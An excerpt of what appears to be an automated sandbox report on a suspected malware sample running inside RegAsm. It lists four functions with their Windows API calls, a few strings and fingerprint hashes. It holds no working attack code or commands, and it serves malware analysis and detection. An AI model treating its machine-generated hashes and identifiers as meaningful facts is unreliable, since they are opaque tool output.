                        Function 00412850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                        Download Yara Rule
                        APIs
                        • TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                        • WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ObjectProcessSingleTerminateWait
                        • String ID: pth_unenc
                        • API String ID: 1872346434-4028850238
                        • Opcode ID: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                        • Instruction ID: 1c2a9d3d993a2aa40768a62e13ec0bdc830226799852dc8a6b6faba0c59f1205
                        • Opcode Fuzzy Hash: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                        • Instruction Fuzzy Hash: 2FD01234189312FFD7350F60EE4DB043B98A705362F140265F428512F1C7A58994EA59
                        Function 0044F30A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CommandLine
                        • String ID: 82L
                        • API String ID: 3253501508-1193489648
                        • Opcode ID: 21ebb353eb9a5e230f63c7dd18cef58b922ecce08ae36afe23ca5bbaac6cd083
                        • Instruction ID: 694146ce0b361bd31d1980ce40e18c0a636997d79f12e70286e675221abc8fda
                        • Opcode Fuzzy Hash: 21ebb353eb9a5e230f63c7dd18cef58b922ecce08ae36afe23ca5bbaac6cd083
                        • Instruction Fuzzy Hash: CBB04878800753CB97108F21AA0C0853FA0B30820238020B6940A92A21EB7885868A08
                        Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
                        • GetLastError.KERNEL32 ref: 00440D35
                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ByteCharMultiWide$ErrorLast
                        • String ID:
                        • API String ID: 1717984340-0
                        • Opcode ID: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                        • Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
                        • Opcode Fuzzy Hash: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                        • Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759
                        Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                        Download Yara Rule
                        APIs
                        • IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,00411EF0), ref: 00411B8C
                        • IsBadReadPtr.KERNEL32(?,00000014,00411EF0), ref: 00411C58
                        • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C7A
                        • SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLastRead
                        • String ID:
                        • API String ID: 4100373531-0
                        • Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                        • Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
                        • Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                        • Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99